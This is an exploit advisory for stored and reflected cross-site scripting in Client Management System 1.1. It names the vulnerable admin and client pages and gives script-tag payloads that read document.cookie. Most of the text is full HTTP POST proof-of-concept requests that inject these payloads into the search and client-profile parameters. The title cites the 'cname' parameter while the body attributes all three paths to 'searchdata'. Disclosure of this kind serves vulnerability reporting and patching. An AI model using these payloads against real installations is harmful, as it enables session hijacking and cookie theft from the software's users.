Client Management System 1.1 Cross Site Scripting

`# Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)  
# Date: 2021-08-04  
# Exploit Author: Mohammad Koochaki  
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841  
# Version: 1.1  
# Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3  
  
### This application is prone to a cross-site scripting in the 'searchdata'  
parameter at the following path:  
- Reflected: http://localhost/admin/search-invoices.php  
- Reflected: http://localhost/client/search-invoices.php  
- Stored: http://localhost/client/client-profile.php  
  
### Payloads:  
- Reflected: </h4><script>alert(document.cookie)</script>  
- Stored: "><script>alert(document.cookie)</script>Anuj+Kumar  
  
### PoC:  
  
## Reflected:  
POST /admin/search-invoices.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101  
Firefox/78.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 77  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/admin/search-invoices.php  
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs  
Upgrade-Insecure-Requests: 1  
DNT: 1  
Sec-GPC: 1  
  
searchdata=</h4><script>alert(document.cookie)</script>&search=  
  
  
## Stored:  
POST /client/client-profile.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101  
Firefox/78.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 335  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/client/client-profile.php  
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs  
Upgrade-Insecure-Requests: 1  
DNT: 1  
Sec-GPC: 1  
  
cname="><script>alert(document.cookie)</script>Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=9354778033&cellphnumber=9354778033&ophnumber=9354778033&email=phpgurukulofficial%  
40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com&notes=New+User&submit=  
`